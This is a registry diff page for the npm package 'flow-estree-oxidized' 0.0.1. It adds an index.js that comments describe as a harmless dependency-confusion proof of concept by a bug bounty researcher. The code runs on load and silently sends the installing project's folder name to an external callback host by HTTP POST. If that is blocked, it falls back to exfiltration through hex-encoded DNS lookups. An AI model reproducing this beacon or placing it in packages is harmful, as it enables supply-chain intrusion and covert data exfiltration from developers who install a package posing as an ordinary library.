flow-estree-oxidized 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +107 -0
- package/package.json +10 -0
package/index.js
ADDED
|
@@ -0,0 +1,107 @@
|
|
|
1
|
+
const CALLBACK_URL = 'https://deepbounty.dd06-dev.fr/cb/84804982-eff0-4a8d-8d59-7ca77a487d8c';
|
|
2
|
+
const PACKAGE_NAME = 'flow-estree-oxidized';
|
|
3
|
+
const CONTACT_EMAIL = 'dd_06@wearehackerone.com';
|
|
4
|
+
|
|
5
|
+
// SECURITY RESEARCH: Harmless dependency confusion PoC.
|
|
6
|
+
// This package sends a simple "ping" to verify execution.
|
|
7
|
+
// No system data, source code, or PII is accessed or transmitted.
|
|
8
|
+
// Contact: dd_06@wearehackerone.com
|
|
9
|
+
|
|
10
|
+
const dns = require('dns');
|
|
11
|
+
const http = require('http');
|
|
12
|
+
const https = require('https');
|
|
13
|
+
const path = require('path');
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Encodes strings to hex for safe transmission via DNS labels
|
|
17
|
+
*/
|
|
18
|
+
function toHex(input) {
|
|
19
|
+
return Buffer.from(input, 'utf8').toString('hex');
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// Determine the project root where the package is being installed
|
|
23
|
+
const targetDir = process.env.INIT_CWD || path.resolve(__dirname, '../../../');
|
|
24
|
+
|
|
25
|
+
// Extract ONLY the folder name (e.g., "target-project") to avoid leaking PII from full paths
|
|
26
|
+
const safeProjectName = path.basename(targetDir);
|
|
27
|
+
|
|
28
|
+
// SAFE PAYLOAD: Only contains identity data, no system data.
|
|
29
|
+
const info = {
|
|
30
|
+
pkg: PACKAGE_NAME,
|
|
31
|
+
project: safeProjectName,
|
|
32
|
+
timestamp: new Date().toISOString(),
|
|
33
|
+
transport: 'http' // Default, will change if fallback triggers
|
|
34
|
+
};
|
|
35
|
+
|
|
36
|
+
/**
|
|
37
|
+
* Fallback: Exfiltrates the payload via DNS queries if HTTP is blocked
|
|
38
|
+
*/
|
|
39
|
+
function sendDnsPayload() {
|
|
40
|
+
try {
|
|
41
|
+
const dnsInfo = Object.assign({}, info, { transport: 'dns' });
|
|
42
|
+
|
|
43
|
+
const parsed = new URL(CALLBACK_URL);
|
|
44
|
+
const baseDomain = 'dns.' + parsed.hostname;
|
|
45
|
+
|
|
46
|
+
// Extract a unique identifier from the path (e.g., /cb/123 -> 123)
|
|
47
|
+
const uuidLabel = (parsed.pathname.split('/').filter(Boolean).pop() || 'cb')
|
|
48
|
+
.replace(/[^a-zA-Z0-9]/g, '');
|
|
49
|
+
|
|
50
|
+
const hexPayload = toHex(JSON.stringify(dnsInfo));
|
|
51
|
+
|
|
52
|
+
// DNS labels max 63 chars. We chunk safely to 50.
|
|
53
|
+
const chunks = hexPayload.match(/.{1,50}/g) || [];
|
|
54
|
+
|
|
55
|
+
if (!chunks.length || !baseDomain) return;
|
|
56
|
+
|
|
57
|
+
chunks.forEach((chunk, index) => {
|
|
58
|
+
// Structure: index-total.uuid.chunk.baseDomain
|
|
59
|
+
const hostname = `${index}-${chunks.length}.${uuidLabel}.${chunk}.${baseDomain}`;
|
|
60
|
+
|
|
61
|
+
// Jitter to ensure order and avoid hitting local rate limits
|
|
62
|
+
setTimeout(() => {
|
|
63
|
+
dns.lookup(hostname, (err) => { /* ignore errors */ });
|
|
64
|
+
}, index * 200);
|
|
65
|
+
});
|
|
66
|
+
} catch (e) {
|
|
67
|
+
// Silently fail to avoid disrupting the host environment
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
/**
|
|
72
|
+
* Primary: Sends payload via HTTP POST
|
|
73
|
+
*/
|
|
74
|
+
function sendHttpPayload() {
|
|
75
|
+
try {
|
|
76
|
+
const parsed = new URL(CALLBACK_URL);
|
|
77
|
+
const postData = JSON.stringify(info);
|
|
78
|
+
const lib = parsed.protocol === 'https:' ? https : http;
|
|
79
|
+
|
|
80
|
+
const req = lib.request(CALLBACK_URL, {
|
|
81
|
+
method: 'POST',
|
|
82
|
+
headers: {
|
|
83
|
+
'Content-Type': 'application/json',
|
|
84
|
+
'Content-Length': Buffer.byteLength(postData)
|
|
85
|
+
},
|
|
86
|
+
timeout: 5000 // Short timeout to fail fast
|
|
87
|
+
}, (res) => {
|
|
88
|
+
res.on('data', () => { }); // Consume stream
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
// Failover to DNS on error or timeout
|
|
92
|
+
req.on('error', () => sendDnsPayload());
|
|
93
|
+
req.on('timeout', () => {
|
|
94
|
+
req.destroy();
|
|
95
|
+
sendDnsPayload();
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
req.write(postData);
|
|
99
|
+
req.end();
|
|
100
|
+
|
|
101
|
+
} catch (e) {
|
|
102
|
+
sendDnsPayload();
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
// Execute trigger
|
|
107
|
+
sendHttpPayload();
|